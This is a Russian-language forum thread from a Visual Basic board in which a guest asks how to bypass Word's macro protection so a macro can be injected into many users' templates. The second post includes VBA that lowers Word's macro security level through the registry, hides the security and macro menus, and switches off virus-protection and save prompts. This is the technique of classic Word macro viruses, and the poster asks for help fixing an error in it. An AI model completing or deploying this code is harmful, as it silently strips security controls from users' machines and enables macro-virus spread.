powered by simpleCommunicator - 2.0.60     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / Помогите!
2 сообщений из 2, страница 1 из 1
Помогите!
    #32651651
Gotar
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Надо по средством VBS или VBA обойти защиту Word'а или просто снять её. Дело в том, что когда я пытаюсь запустить макрос добавляющий в шаблон себя и несколько других макросов прикрепленных к этому документу защита ругается и говорит что файл не найден. Надо запускать Word - вырубать защиту и потом уже открыв файл запускать макрос.

Хелп. На expertsexchange похоже есть какие-то решения похожей проблеммы, но ресурс платный 8)

Помогите кто чем могет 8)
...
Рейтинг: 0 / 0
Помогите!
    #32652769
Gotar
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Товарищи! Помогите разобраться. Я тут подумал, а может возможно вырубить защиту через ключ, вот примерно как это выглядит на VBS.

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Но при выполнении данного скрипта выдается ошибка на строчке
CommandBars("Macro").Controls("Security...").Enabled = False , причем указывается 112ый символ 8)) В чем ошибка?

Задача тревиальна, надо влить макрос в шаблон юзера, а так как юзеров дофига, то надо сделать это програмно. По средством кода макрос прекрасно крепится к шаблону, но только если выключена защита в основном шаблоне.

Помогите разобраться.
...
Рейтинг: 0 / 0
2 сообщений из 2, страница 1 из 1
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / Помогите!
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]